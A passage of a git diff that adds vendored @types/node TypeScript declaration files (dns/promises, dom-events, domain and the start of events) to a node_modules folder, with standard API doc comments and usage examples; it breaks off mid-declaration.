`Promise` is rejected with an [`Error`](https://nodejs.org/docs/latest-v20.x/api/errors.html#class-error) object, where `err.code` is the error code. + * + * ```js + * import dnsPromises from 'node:dns'; + * dnsPromises.lookupService('127.0.0.1', 22).then((result) => { + * console.log(result.hostname, result.service); + * // Prints: localhost ssh + * }); + * ``` + * @since v10.6.0 + */ + function lookupService( + address: string, + port: number, + ): Promise<{ + hostname: string; + service: string; + }>; + /** + * Uses the DNS protocol to resolve a host name (e.g. `'nodejs.org'`) into an array + * of the resource records. When successful, the `Promise` is resolved with an + * array of resource records. The type and structure of individual results vary + * based on `rrtype`: + * + * + * + * On error, the `Promise` is rejected with an [`Error`](https://nodejs.org/docs/latest-v20.x/api/errors.html#class-error) object, where `err.code` + * is one of the [DNS error codes](https://nodejs.org/docs/latest-v20.x/api/dns.html#error-codes). + * @since v10.6.0 + * @param hostname Host name to resolve. + * @param [rrtype='A'] Resource record type. + */ + function resolve(hostname: string): Promise; + function resolve(hostname: string, rrtype: "A"): Promise; + function resolve(hostname: string, rrtype: "AAAA"): Promise; + function resolve(hostname: string, rrtype: "ANY"): Promise; + function resolve(hostname: string, rrtype: "CAA"): Promise; + function resolve(hostname: string, rrtype: "CNAME"): Promise; + function resolve(hostname: string, rrtype: "MX"): Promise; + function resolve(hostname: string, rrtype: "NAPTR"): Promise; + function resolve(hostname: string, rrtype: "NS"): Promise; + function resolve(hostname: string, rrtype: "PTR"): Promise; + function resolve(hostname: string, rrtype: "SOA"): Promise; + function resolve(hostname: string, rrtype: "SRV"): Promise; + function resolve(hostname: string, rrtype: "TXT"): Promise; + function resolve( + hostname: string, + rrtype: string, + ): Promise; + /** + * Uses the DNS protocol to resolve IPv4 addresses (`A` records) for the `hostname`. On success, the `Promise` is resolved with an array of IPv4 + * addresses (e.g. `['74.125.79.104', '74.125.79.105', '74.125.79.106']`). + * @since v10.6.0 + * @param hostname Host name to resolve. + */ + function resolve4(hostname: string): Promise; + function resolve4(hostname: string, options: ResolveWithTtlOptions): Promise; + function resolve4(hostname: string, options: ResolveOptions): Promise; + /** + * Uses the DNS protocol to resolve IPv6 addresses (`AAAA` records) for the `hostname`. On success, the `Promise` is resolved with an array of IPv6 + * addresses. + * @since v10.6.0 + * @param hostname Host name to resolve. + */ + function resolve6(hostname: string): Promise; + function resolve6(hostname: string, options: ResolveWithTtlOptions): Promise; + function resolve6(hostname: string, options: ResolveOptions): Promise; + /** + * Uses the DNS protocol to resolve all records (also known as `ANY` or `*` query). + * On success, the `Promise` is resolved with an array containing various types of + * records. Each object has a property `type` that indicates the type of the + * current record. And depending on the `type`, additional properties will be + * present on the object: + * + * + * + * Here is an example of the result object: + * + * ```js + * [ { type: 'A', address: '127.0.0.1', ttl: 299 }, + * { type: 'CNAME', value: 'example.com' }, + * { type: 'MX', exchange: 'alt4.aspmx.l.example.com', priority: 50 }, + * { type: 'NS', value: 'ns1.example.com' }, + * { type: 'TXT', entries: [ 'v=spf1 include:_spf.example.com ~all' ] }, + * { type: 'SOA', + * nsname: 'ns1.example.com', + * hostmaster: 'admin.example.com', + * serial: 156696742, + * refresh: 900, + * retry: 900, + * expire: 1800, + * minttl: 60 } ] + * ``` + * @since v10.6.0 + */ + function resolveAny(hostname: string): Promise; + /** + * Uses the DNS protocol to resolve `CAA` records for the `hostname`. On success, + * the `Promise` is resolved with an array of objects containing available + * certification authority authorization records available for the `hostname` (e.g. `[{critical: 0, iodef: 'mailto:pki@example.com'},{critical: 128, issue: 'pki.example.com'}]`). + * @since v15.0.0, v14.17.0 + */ + function resolveCaa(hostname: string): Promise; + /** + * Uses the DNS protocol to resolve `CNAME` records for the `hostname`. On success, + * the `Promise` is resolved with an array of canonical name records available for + * the `hostname` (e.g. `['bar.example.com']`). + * @since v10.6.0 + */ + function resolveCname(hostname: string): Promise; + /** + * Uses the DNS protocol to resolve mail exchange records (`MX` records) for the `hostname`. On success, the `Promise` is resolved with an array of objects + * containing both a `priority` and `exchange` property (e.g.`[{priority: 10, exchange: 'mx.example.com'}, ...]`). + * @since v10.6.0 + */ + function resolveMx(hostname: string): Promise; + /** + * Uses the DNS protocol to resolve regular expression-based records (`NAPTR` records) for the `hostname`. On success, the `Promise` is resolved with an array + * of objects with the following properties: + * + * * `flags` + * * `service` + * * `regexp` + * * `replacement` + * * `order` + * * `preference` + * + * ```js + * { + * flags: 's', + * service: 'SIP+D2U', + * regexp: '', + * replacement: '_sip._udp.example.com', + * order: 30, + * preference: 100 + * } + * ``` + * @since v10.6.0 + */ + function resolveNaptr(hostname: string): Promise; + /** + * Uses the DNS protocol to resolve name server records (`NS` records) for the `hostname`. On success, the `Promise` is resolved with an array of name server + * records available for `hostname` (e.g.`['ns1.example.com', 'ns2.example.com']`). + * @since v10.6.0 + */ + function resolveNs(hostname: string): Promise; + /** + * Uses the DNS protocol to resolve pointer records (`PTR` records) for the `hostname`. On success, the `Promise` is resolved with an array of strings + * containing the reply records. + * @since v10.6.0 + */ + function resolvePtr(hostname: string): Promise; + /** + * Uses the DNS protocol to resolve a start of authority record (`SOA` record) for + * the `hostname`. On success, the `Promise` is resolved with an object with the + * following properties: + * + * * `nsname` + * * `hostmaster` + * * `serial` + * * `refresh` + * * `retry` + * * `expire` + * * `minttl` + * + * ```js + * { + * nsname: 'ns.example.com', + * hostmaster: 'root.example.com', + * serial: 2013101809, + * refresh: 10000, + * retry: 2400, + * expire: 604800, + * minttl: 3600 + * } + * ``` + * @since v10.6.0 + */ + function resolveSoa(hostname: string): Promise; + /** + * Uses the DNS protocol to resolve service records (`SRV` records) for the `hostname`. On success, the `Promise` is resolved with an array of objects with + * the following properties: + * + * * `priority` + * * `weight` + * * `port` + * * `name` + * + * ```js + * { + * priority: 10, + * weight: 5, + * port: 21223, + * name: 'service.example.com' + * } + * ``` + * @since v10.6.0 + */ + function resolveSrv(hostname: string): Promise; + /** + * Uses the DNS protocol to resolve text queries (`TXT` records) for the `hostname`. On success, the `Promise` is resolved with a two-dimensional array + * of the text records available for `hostname` (e.g.`[ ['v=spf1 ip4:0.0.0.0 ', '~all' ] ]`). Each sub-array contains TXT chunks of + * one record. Depending on the use case, these could be either joined together or + * treated separately. + * @since v10.6.0 + */ + function resolveTxt(hostname: string): Promise; + /** + * Performs a reverse DNS query that resolves an IPv4 or IPv6 address to an + * array of host names. + * + * On error, the `Promise` is rejected with an [`Error`](https://nodejs.org/docs/latest-v20.x/api/errors.html#class-error) object, where `err.code` + * is one of the [DNS error codes](https://nodejs.org/docs/latest-v20.x/api/dns.html#error-codes). + * @since v10.6.0 + */ + function reverse(ip: string): Promise; + /** + * Get the default value for `verbatim` in {@link lookup} and [dnsPromises.lookup()](https://nodejs.org/docs/latest-v20.x/api/dns.html#dnspromiseslookuphostname-options). + * The value could be: + * + * * `ipv4first`: for `verbatim` defaulting to `false`. + * * `verbatim`: for `verbatim` defaulting to `true`. + * @since v20.1.0 + */ + function getDefaultResultOrder(): "ipv4first" | "verbatim"; + /** + * Sets the IP address and port of servers to be used when performing DNS + * resolution. The `servers` argument is an array of [RFC 5952](https://tools.ietf.org/html/rfc5952#section-6) formatted + * addresses. If the port is the IANA default DNS port (53) it can be omitted. + * + * ```js + * dnsPromises.setServers([ + * '4.4.4.4', + * '[2001:4860:4860::8888]', + * '4.4.4.4:1053', + * '[2001:4860:4860::8888]:1053', + * ]); + * ``` + * + * An error will be thrown if an invalid address is provided. + * + * The `dnsPromises.setServers()` method must not be called while a DNS query is in + * progress. + * + * This method works much like [resolve.conf](https://man7.org/linux/man-pages/man5/resolv.conf.5.html). + * That is, if attempting to resolve with the first server provided results in a `NOTFOUND` error, the `resolve()` method will _not_ attempt to resolve with + * subsequent servers provided. Fallback DNS servers will only be used if the + * earlier ones time out or result in some other error. + * @since v10.6.0 + * @param servers array of `RFC 5952` formatted addresses + */ + function setServers(servers: readonly string[]): void; + /** + * Set the default value of `order` in `dns.lookup()` and `{@link lookup}`. The value could be: + * + * * `ipv4first`: sets default `order` to `ipv4first`. + * * `ipv6first`: sets default `order` to `ipv6first`. + * * `verbatim`: sets default `order` to `verbatim`. + * + * The default is `verbatim` and [dnsPromises.setDefaultResultOrder()](https://nodejs.org/docs/latest-v20.x/api/dns.html#dnspromisessetdefaultresultorderorder) + * have higher priority than [`--dns-result-order`](https://nodejs.org/docs/latest-v20.x/api/cli.html#--dns-result-orderorder). + * When using [worker threads](https://nodejs.org/docs/latest-v20.x/api/worker_threads.html), [`dnsPromises.setDefaultResultOrder()`](https://nodejs.org/docs/latest-v20.x/api/dns.html#dnspromisessetdefaultresultorderorder) + * from the main thread won't affect the default dns orders in workers. + * @since v16.4.0, v14.18.0 + * @param order must be `'ipv4first'`, `'ipv6first'` or `'verbatim'`. + */ + function setDefaultResultOrder(order: "ipv4first" | "ipv6first" | "verbatim"): void; + // Error codes + const NODATA: "ENODATA"; + const FORMERR: "EFORMERR"; + const SERVFAIL: "ESERVFAIL"; + const NOTFOUND: "ENOTFOUND"; + const NOTIMP: "ENOTIMP"; + const REFUSED: "EREFUSED"; + const BADQUERY: "EBADQUERY"; + const BADNAME: "EBADNAME"; + const BADFAMILY: "EBADFAMILY"; + const BADRESP: "EBADRESP"; + const CONNREFUSED: "ECONNREFUSED"; + const TIMEOUT: "ETIMEOUT"; + const EOF: "EOF"; + const FILE: "EFILE"; + const NOMEM: "ENOMEM"; + const DESTRUCTION: "EDESTRUCTION"; + const BADSTR: "EBADSTR"; + const BADFLAGS: "EBADFLAGS"; + const NONAME: "ENONAME"; + const BADHINTS: "EBADHINTS"; + const NOTINITIALIZED: "ENOTINITIALIZED"; + const LOADIPHLPAPI: "ELOADIPHLPAPI"; + const ADDRGETNETWORKPARAMS: "EADDRGETNETWORKPARAMS"; + const CANCELLED: "ECANCELLED"; + + /** + * An independent resolver for DNS requests. + * + * Creating a new resolver uses the default server settings. Setting + * the servers used for a resolver using [`resolver.setServers()`](https://nodejs.org/docs/latest-v20.x/api/dns.html#dnspromisessetserversservers) does not affect + * other resolvers: + * + * ```js + * import { promises } from 'node:dns'; + * const resolver = new promises.Resolver(); + * resolver.setServers(['4.4.4.4']); + * + * // This request will use the server at 4.4.4.4, independent of global settings. + * resolver.resolve4('example.org').then((addresses) => { + * // ... + * }); + * + * // Alternatively, the same code can be written using async-await style. + * (async function() { + * const addresses = await resolver.resolve4('example.org'); + * })(); + * ``` + * + * The following methods from the `dnsPromises` API are available: + * + * * `resolver.getServers()` + * * `resolver.resolve()` + * * `resolver.resolve4()` + * * `resolver.resolve6()` + * * `resolver.resolveAny()` + * * `resolver.resolveCaa()` + * * `resolver.resolveCname()` + * * `resolver.resolveMx()` + * * `resolver.resolveNaptr()` + * * `resolver.resolveNs()` + * * `resolver.resolvePtr()` + * * `resolver.resolveSoa()` + * * `resolver.resolveSrv()` + * * `resolver.resolveTxt()` + * * `resolver.reverse()` + * * `resolver.setServers()` + * @since v10.6.0 + */ + class Resolver { + constructor(options?: ResolverOptions); + /** + * Cancel all outstanding DNS queries made by this resolver. The corresponding + * callbacks will be called with an error with code `ECANCELLED`. + * @since v8.3.0 + */ + cancel(): void; + getServers: typeof getServers; + resolve: typeof resolve; + resolve4: typeof resolve4; + resolve6: typeof resolve6; + resolveAny: typeof resolveAny; + resolveCaa: typeof resolveCaa; + resolveCname: typeof resolveCname; + resolveMx: typeof resolveMx; + resolveNaptr: typeof resolveNaptr; + resolveNs: typeof resolveNs; + resolvePtr: typeof resolvePtr; + resolveSoa: typeof resolveSoa; + resolveSrv: typeof resolveSrv; + resolveTxt: typeof resolveTxt; + reverse: typeof reverse; + /** + * The resolver instance will send its requests from the specified IP address. + * This allows programs to specify outbound interfaces when used on multi-homed + * systems. + * + * If a v4 or v6 address is not specified, it is set to the default and the + * operating system will choose a local address automatically. + * + * The resolver will use the v4 local address when making requests to IPv4 DNS + * servers, and the v6 local address when making requests to IPv6 DNS servers. + * The `rrtype` of resolution requests has no impact on the local address used. + * @since v15.1.0, v14.17.0 + * @param [ipv4='0.0.0.0'] A string representation of an IPv4 address. + * @param [ipv6='::0'] A string representation of an IPv6 address. + */ + setLocalAddress(ipv4?: string, ipv6?: string): void; + setServers: typeof setServers; + } +} +declare module "node:dns/promises" { + export * from "dns/promises"; +} diff --git a/node_modules/@types/node/dom-events.d.ts b/node_modules/@types/node/dom-events.d.ts new file mode 100644 index 000000000000..f47f71d63866 --- /dev/null +++ b/node_modules/@types/node/dom-events.d.ts @@ -0,0 +1,124 @@ +export {}; // Don't export anything! + +//// DOM-like Events +// NB: The Event / EventTarget / EventListener implementations below were copied +// from lib.dom.d.ts, then edited to reflect Node's documentation at +// https://nodejs.org/api/events.html#class-eventtarget. +// Please read that link to understand important implementation differences. + +// This conditional type will be the existing global Event in a browser, or +// the copy below in a Node environment. +type __Event = typeof globalThis extends { onmessage: any; Event: any } ? {} + : { + /** This is not used in Node.js and is provided purely for completeness. */ + readonly bubbles: boolean; + /** Alias for event.stopPropagation(). This is not used in Node.js and is provided purely for completeness. */ + cancelBubble: () => void; + /** True if the event was created with the cancelable option */ + readonly cancelable: boolean; + /** This is not used in Node.js and is provided purely for completeness. */ + readonly composed: boolean; + /** Returns an array containing the current EventTarget as the only entry or empty if the event is not being dispatched. This is not used in Node.js and is provided purely for completeness. */ + composedPath(): [EventTarget?]; + /** Alias for event.target. */ + readonly currentTarget: EventTarget | null; + /** Is true if cancelable is true and event.preventDefault() has been called. */ + readonly defaultPrevented: boolean; + /** This is not used in Node.js and is provided purely for completeness. */ + readonly eventPhase: 0 | 2; + /** The `AbortSignal` "abort" event is emitted with `isTrusted` set to `true`. The value is `false` in all other cases. */ + readonly isTrusted: boolean; + /** Sets the `defaultPrevented` property to `true` if `cancelable` is `true`. */ + preventDefault(): void; + /** This is not used in Node.js and is provided purely for completeness. */ + returnValue: boolean; + /** Alias for event.target. */ + readonly srcElement: EventTarget | null; + /** Stops the invocation of event listeners after the current one completes. */ + stopImmediatePropagation(): void; + /** This is not used in Node.js and is provided purely for completeness. */ + stopPropagation(): void; + /** The `EventTarget` dispatching the event */ + readonly target: EventTarget | null; + /** The millisecond timestamp when the Event object was created. */ + readonly timeStamp: number; + /** Returns the type of event, e.g. "click", "hashchange", or "submit". */ + readonly type: string; + }; + +// See comment above explaining conditional type +type __EventTarget = typeof globalThis extends { onmessage: any; EventTarget: any } ? {} + : { + /** + * Adds a new handler for the `type` event. Any given `listener` is added only once per `type` and per `capture` option value. + * + * If the `once` option is true, the `listener` is removed after the next time a `type` event is dispatched. + * + * The `capture` option is not used by Node.js in any functional way other than tracking registered event listeners per the `EventTarget` specification. + * Specifically, the `capture` option is used as part of the key when registering a `listener`. + * Any individual `listener` may be added once with `capture = false`, and once with `capture = true`. + */ + addEventListener( + type: string, + listener: EventListener | EventListenerObject, + options?: AddEventListenerOptions | boolean, + ): void; + /** Dispatches a synthetic event event to target and returns true if either event's cancelable attribute value is false or its preventDefault() method was not invoked, and false otherwise. */ + dispatchEvent(event: Event): boolean; + /** Removes the event listener in target's event listener list with the same type, callback, and options. */ + removeEventListener( + type: string, + listener: EventListener | EventListenerObject, + options?: EventListenerOptions | boolean, + ): void; + }; + +interface EventInit { + bubbles?: boolean; + cancelable?: boolean; + composed?: boolean; +} + +interface EventListenerOptions { + /** Not directly used by Node.js. Added for API completeness. Default: `false`. */ + capture?: boolean; +} + +interface AddEventListenerOptions extends EventListenerOptions { + /** When `true`, the listener is automatically removed when it is first invoked. Default: `false`. */ + once?: boolean; + /** When `true`, serves as a hint that the listener will not call the `Event` object's `preventDefault()` method. Default: false. */ + passive?: boolean; + /** The listener will be removed when the given AbortSignal object's `abort()` method is called. */ + signal?: AbortSignal; +} + +interface EventListener { + (evt: Event): void; +} + +interface EventListenerObject { + handleEvent(object: Event): void; +} + +import {} from "events"; // Make this an ambient declaration +declare global { + /** An event which takes place in the DOM. */ + interface Event extends __Event {} + var Event: typeof globalThis extends { onmessage: any; Event: infer T } ? T + : { + prototype: __Event; + new(type: string, eventInitDict?: EventInit): __Event; + }; + + /** + * EventTarget is a DOM interface implemented by objects that can + * receive events and may have listeners for them. + */ + interface EventTarget extends __EventTarget {} + var EventTarget: typeof globalThis extends { onmessage: any; EventTarget: infer T } ? T + : { + prototype: __EventTarget; + new(): __EventTarget; + }; +} diff --git a/node_modules/@types/node/domain.d.ts b/node_modules/@types/node/domain.d.ts new file mode 100644 index 000000000000..ba8a02c1667c --- /dev/null +++ b/node_modules/@types/node/domain.d.ts @@ -0,0 +1,170 @@ +/** + * **This module is pending deprecation.** Once a replacement API has been + * finalized, this module will be fully deprecated. Most developers should + * **not** have cause to use this module. Users who absolutely must have + * the functionality that domains provide may rely on it for the time being + * but should expect to have to migrate to a different solution + * in the future. + * + * Domains provide a way to handle multiple different IO operations as a + * single group. If any of the event emitters or callbacks registered to a + * domain emit an `'error'` event, or throw an error, then the domain object + * will be notified, rather than losing the context of the error in the `process.on('uncaughtException')` handler, or causing the program to + * exit immediately with an error code. + * @deprecated Since v1.4.2 - Deprecated + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/domain.js) + */ +declare module "domain" { + import EventEmitter = require("node:events"); + /** + * The `Domain` class encapsulates the functionality of routing errors and + * uncaught exceptions to the active `Domain` object. + * + * To handle the errors that it catches, listen to its `'error'` event. + */ + class Domain extends EventEmitter { + /** + * An array of timers and event emitters that have been explicitly added + * to the domain. + */ + members: Array; + /** + * The `enter()` method is plumbing used by the `run()`, `bind()`, and `intercept()` methods to set the active domain. It sets `domain.active` and `process.domain` to the domain, and implicitly + * pushes the domain onto the domain + * stack managed by the domain module (see {@link exit} for details on the + * domain stack). The call to `enter()` delimits the beginning of a chain of + * asynchronous calls and I/O operations bound to a domain. + * + * Calling `enter()` changes only the active domain, and does not alter the domain + * itself. `enter()` and `exit()` can be called an arbitrary number of times on a + * single domain. + */ + enter(): void; + /** + * The `exit()` method exits the current domain, popping it off the domain stack. + * Any time execution is going to switch to the context of a different chain of + * asynchronous calls, it's important to ensure that the current domain is exited. + * The call to `exit()` delimits either the end of or an interruption to the chain + * of asynchronous calls and I/O operations bound to a domain. + * + * If there are multiple, nested domains bound to the current execution context, `exit()` will exit any domains nested within this domain. + * + * Calling `exit()` changes only the active domain, and does not alter the domain + * itself. `enter()` and `exit()` can be called an arbitrary number of times on a + * single domain. + */ + exit(): void; + /** + * Run the supplied function in the context of the domain, implicitly + * binding all event emitters, timers, and low-level requests that are + * created in that context. Optionally, arguments can be passed to + * the function. + * + * This is the most basic way to use a domain. + * + * ```js + * import domain from 'node:domain'; + * import fs from 'node:fs'; + * const d = domain.create(); + * d.on('error', (er) => { + * console.error('Caught error!', er); + * }); + * d.run(() => { + * process.nextTick(() => { + * setTimeout(() => { // Simulating some various async stuff + * fs.open('non-existent file', 'r', (er, fd) => { + * if (er) throw er; + * // proceed... + * }); + * }, 100); + * }); + * }); + * ``` + * + * In this example, the `d.on('error')` handler will be triggered, rather + * than crashing the program. + */ + run(fn: (...args: any[]) => T, ...args: any[]): T; + /** + * Explicitly adds an emitter to the domain. If any event handlers called by + * the emitter throw an error, or if the emitter emits an `'error'` event, it + * will be routed to the domain's `'error'` event, just like with implicit + * binding. + * + * This also works with timers that are returned from `setInterval()` and `setTimeout()`. If their callback function throws, it will be caught by + * the domain `'error'` handler. + * + * If the Timer or `EventEmitter` was already bound to a domain, it is removed + * from that one, and bound to this one instead. + * @param emitter emitter or timer to be added to the domain + */ + add(emitter: EventEmitter | NodeJS.Timer): void; + /** + * The opposite of {@link add}. Removes domain handling from the + * specified emitter. + * @param emitter emitter or timer to be removed from the domain + */ + remove(emitter: EventEmitter | NodeJS.Timer): void; + /** + * The returned function will be a wrapper around the supplied callback + * function. When the returned function is called, any errors that are + * thrown will be routed to the domain's `'error'` event. + * + * ```js + * const d = domain.create(); + * + * function readSomeFile(filename, cb) { + * fs.readFile(filename, 'utf8', d.bind((er, data) => { + * // If this throws, it will also be passed to the domain. + * return cb(er, data ? JSON.parse(data) : null); + * })); + * } + * + * d.on('error', (er) => { + * // An error occurred somewhere. If we throw it now, it will crash the program + * // with the normal line number and stack message. + * }); + * ``` + * @param callback The callback function + * @return The bound function + */ + bind(callback: T): T; + /** + * This method is almost identical to {@link bind}. However, in + * addition to catching thrown errors, it will also intercept `Error` objects sent as the first argument to the function. + * + * In this way, the common `if (err) return callback(err);` pattern can be replaced + * with a single error handler in a single place. + * + * ```js + * const d = domain.create(); + * + * function readSomeFile(filename, cb) { + * fs.readFile(filename, 'utf8', d.intercept((data) => { + * // Note, the first argument is never passed to the + * // callback since it is assumed to be the 'Error' argument + * // and thus intercepted by the domain. + * + * // If this throws, it will also be passed to the domain + * // so the error-handling logic can be moved to the 'error' + * // event on the domain instead of being repeated throughout + * // the program. + * return cb(null, JSON.parse(data)); + * })); + * } + * + * d.on('error', (er) => { + * // An error occurred somewhere. If we throw it now, it will crash the program + * // with the normal line number and stack message. + * }); + * ``` + * @param callback The callback function + * @return The intercepted function + */ + intercept(callback: T): T; + } + function create(): Domain; +} +declare module "node:domain" { + export * from "domain"; +} diff --git a/node_modules/@types/node/events.d.ts b/node_modules/@types/node/events.d.ts new file mode 100644 index 000000000000..48a26f7e1b21 --- /dev/null +++ b/node_modules/@types/node/events.d.ts @@ -0,0 +1,931 @@ +/** + * Much of the Node.js core API is built around an idiomatic asynchronous + * event-driven architecture in which certain kinds of objects (called "emitters") + * emit named events that cause `Function` objects ("listeners") to be called. + * + * For instance: a `net.Server` object emits an event each time a peer + * connects to it; a `fs.ReadStream` emits an event when the file is opened; + * a `stream` emits an event whenever data is available to be read. + * + * All objects that emit events are instances of the `EventEmitter` class. These + * objects expose an `eventEmitter.on()` function that allows one or more + * functions to be attached to named events emitted by the object. Typically, + * event names are camel-cased strings but any valid JavaScript property key + * can be used. + * + * When the `EventEmitter` object emits an event, all of the functions attached + * to that specific event are called _synchronously_. Any values returned by the + * called listeners are _ignored_ and discarded. + * + * The following example shows a simple `EventEmitter` instance with a single + * listener. The `eventEmitter.on()` method is used to register listeners, while + * the `eventEmitter.emit()` method is used to trigger the event. + * + * ```js + * import { EventEmitter } from 'node:events'; + * + * class MyEmitter extends EventEmitter {} + * + * const myEmitter = new MyEmitter(); + * myEmitter.on('event', () => { + * console.log('an event occurred!'); + * }); + * myEmitter.emit('event'); + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/events.js) + */ +declare module "events" { + import { AsyncResource, AsyncResourceOptions } from "node:async_hooks"; + // NOTE: This class is in the docs but is **not actually exported** by Node. + // If https://github.com/nodejs/node/issues/39903 gets resolved and Node + // actually starts exporting the class, uncomment below. + // import { EventListener, EventListenerObject } from '__dom-events'; + // /** The NodeEventTarget is a Node.js-specific extension to EventTarget that emulates a subset of the EventEmitter API. */ + // interface NodeEventTarget extends EventTarget { + // /** + // * Node.js-specific extension to the `EventTarget` class that emulates the equivalent `EventEmitter` API. + // * The only difference between `addListener()` and `addEventListener()` is that addListener() will return a reference to the EventTarget. + // */ + // addListener(type: string, listener: EventListener | EventListenerObject, options?: { once: boolean }): this; + // /** Node.js-specific extension to the `EventTarget` class that returns an array of event `type` names for which event listeners are registered. */ + // eventNames(): string[]; + // /** Node.js-specific extension to the `EventTarget` class that returns the number of event listeners registered for the `type`. */ + // listenerCount(type: string): number; + // /** Node.js-specific alias for `eventTarget.removeListener()`. */ + // off(type: string, listener: EventListener | EventListenerObject): this; + // /** Node.js-specific alias for `eventTarget.addListener()`. */ + // on(type: string, listener: EventListener | EventListenerObject, options?: { once: boolean }): this; + // /** Node.js-specific extension to the `EventTarget` class that adds a `once` listener for the given event `type`. This is equivalent to calling `on` with the `once` option set to `true`. */ + // once(type: string, listener: EventListener | EventListenerObject): this; + // /** + // * Node.js-specific extension to the `EventTarget` class. + // * If `type` is specified, removes all registered listeners for `type`, + // * otherwise removes all registered listeners. + // */ + // removeAllListeners(type: string): this; + // /** + // * Node.js-specific extension to the `EventTarget` class that removes the listener for the given `type`. + // * The only difference between `removeListener()` and `removeEventListener()` is that `removeListener()` will return a reference to the `EventTarget`. + // */ + // removeListener(type: string, listener: EventListener | EventListenerObject): this; + // } + interface EventEmitterOptions { + /** + * Enables automatic capturing of promise rejection. + */ + captureRejections?: boolean | undefined; + } + interface StaticEventEmitterOptions { + /** + * Can be used to cancel awaiting events. + */ + signal?: AbortSignal | undefined; + } + interface StaticEventEmitterIteratorOptions extends StaticEventEmitterOptions { + /** + * Names of events that will end the iteration. + */ + close?: string[] | undefined; + /** + * The high watermark. The emitter is paused every time the size of events being buffered is higher than it. + * Supported only on emitters implementing `pause()` and `resume()` methods. + * @default Number.MAX_SAFE_INTEGER + */ + highWaterMark?: number | undefined; + /** + * The low watermark. The emitter is resumed every time the size of events being buffered is lower than it. + * Supported only on emitters implementing `pause()` and `resume()` methods. + * @default 1 + */ + lowWaterMark?: number | undefined; + } + interface EventEmitter = DefaultEventMap> extends NodeJS.EventEmitter {} + type EventMap = Record | DefaultEventMap; + type DefaultEventMap = [never]; + type AnyRest = [...args: any[]]; + type Args = T extends DefaultEventMap ? AnyRest : ( + K extends keyof T ? T[K] : never + ); + type Key = T extends DefaultEventMap ? string | symbol : K | keyof T; + type Key2 = T extends DefaultEventMap ? string | symbol : K & keyof T; + type Listener = T extends DefaultEventMap ? F : ( + K extends keyof T ? ( + T[K] extends unknown[] ? (...args: T[K]) => void : never + ) + : never + ); + type Listener1 = Listener void>; + type Listener2 = Listener; + + /** + * The `EventEmitter` class is defined and exposed by the `node:events` module: + * + * ```js + * import { EventEmitter } from 'node:events'; + * ``` + * + * All `EventEmitter`s emit the event `'newListener'` when new listeners are + * added and `'removeListener'` when existing listeners are removed. + * + * It supports the following option: + * @since v0.1.26 + */ + class EventEmitter = DefaultEventMap> { + constructor(options?: EventEmitterOptions); + + [EventEmitter.captureRejectionSymbol]?(error: Error, event: Key, ...args: Args): void; + + /** + * Creates a `Promise` that is fulfilled when the `EventEmitter` emits the given + * event or that is rejected if the `EventEmitter` emits `'error'` while waiting. + * The `Promise` will resolve with an array of all the arguments emitted to the + * given event. + * + * This method is intentionally generic and works with the web platform [EventTarget](https://dom.spec.whatwg.org/#interface-eventtarget) interface, which has no special`'error'` event + * semantics and does not listen to the `'error'` event. + * + * ```js + * import { once, EventEmitter } from 'node:events'; + * import process from 'node:process'; + * + * const ee = new EventEmitter(); + * + * process.nextTick(() => { + * ee.emit('myevent', 42); + * }); + * + * const [value] = await once(ee, 'myevent'); + * console.log(value); + * + * const err = new Error('kaboom'); + * process.nextTick(() => { + * ee.emit('error', err); + * }); + * + * try { + * await once(ee, 'myevent'); + * } catch (err) { + * console.error('error happened', err); + * } + * ``` + * + * The special handling of the `'error'` event is only used when `events.once()` is used to wait for another event. If `events.once()` is used to wait for the + * '`error'` event itself, then it is treated as any other kind of event without + * special handling: + * + * ```js + * import { EventEmitter, once } from 'node:events'; + * + * const ee = new EventEmitter(); + * + * once(ee, 'error') + * .then(([err]) => console.log('ok', err.message)) + * .catch((err) => console.error('error', err.message)); + * + * ee.emit('error', new Error('boom')); + * + * // Prints: ok boom + * ``` + * + * An `AbortSignal` can be used to cancel waiting for the event: + * + * ```js + * import { EventEmitter, once } from 'node:events'; + * + * const ee = new EventEmitter(); + * const ac = new AbortController(); + * + * async function foo(emitter, event, signal) { + * try { + * await once(emitter, event, { signal }); + * console.log('event emitted!'); + * } catch (error) { + * if (error.name === 'AbortError') { + * console.error('Waiting for the event was canceled!'); + * } else { + * console.error('There was an error', error.message); + * } + * } + * } + * + * foo(ee, 'foo', ac.signal); + * ac.abort(); // Abort waiting for the event + * ee.emit('foo'); // Prints: Waiting for the event was canceled! + * ``` + * @since v11.13.0, v10.16.0 + */ + static once( + emitter: NodeJS.EventEmitter, + eventName: string | symbol, + options?: StaticEventEmitterOptions, + ): Promise; + static once(emitter: EventTarget, eventName: string, options?: StaticEventEmitterOptions): Promise; + /** + * ```js + * import { on, EventEmitter } from 'node:events'; + * import process from 'node:process'; + * + * const ee = new EventEmitter(); + * + * // Emit later on + * process.nextTick(() => { + * ee.emit('foo', 'bar'); + * ee.emit('foo', 42); + * }); + * + * for await (const event of on(ee, 'foo')) { + * // The execution of this inner block is synchronous and it + * // processes one event at a time (even with await). Do not use + * // if concurrent execution is required. + * console.log(event); // prints ['bar'] [42] + * } + * // Unreachable here + * ``` + * + * Returns an `AsyncIterator` that iterates `eventName` events. It will throw + * if the `EventEmitter` emits `'error'`. It removes all listeners when + * exiting the loop. The `value` returned by each iteration is an array + * composed of the emitted event arguments. + * + * An `AbortSignal` can be used to cancel waiting on events: + * + * ```js + * import { on, EventEmitter } from 'node:events'; + * import process from 'node:process'; + * + * const ac = new AbortController(); + * + * (async () => { + * const ee = new EventEmitter(); + * + * // Emit later on + * process.nextTick(() => { + * ee.emit('foo', 'bar'); + * ee.emit('foo', 42); + * }); + * + * for await (const event of on(ee, 'foo', { signal: ac.signal })) { + * // The execution of this inner block is synchronous and it + * // processes one event at a time (even with await). Do not use + * // if concurrent execution is required. + * console.log(event); // prints ['bar'] [42] + * } + * // Unreachable here + * })(); + * + * process.nextTick(() => ac.abort()); + * ``` + * + * Use the `close` option to specify an array of event names that will end the iteration: + * + * ```js + * import { on, EventEmitter } from 'node:events'; + * import process from 'node:process'; + * + * const ee = new EventEmitter(); + * + * // Emit later on + * process.nextTick(() => { + * ee.emit('foo', 'bar'); + * ee.emit('foo', 42); + * ee.emit('close'); + * }); + * + * for await (const event of on(ee, 'foo', { close: ['close'] })) { + * console.log(event); // prints ['bar'] [42] + * } + * // the loop will exit after 'close' is emitted + * console.log('done'); // prints 'done' + * ``` + * @since v13.6.0, v12.16.0 + * @return An `AsyncIterator` that iterates `eventName` events emitted by the `emitter` + */ + static on( + 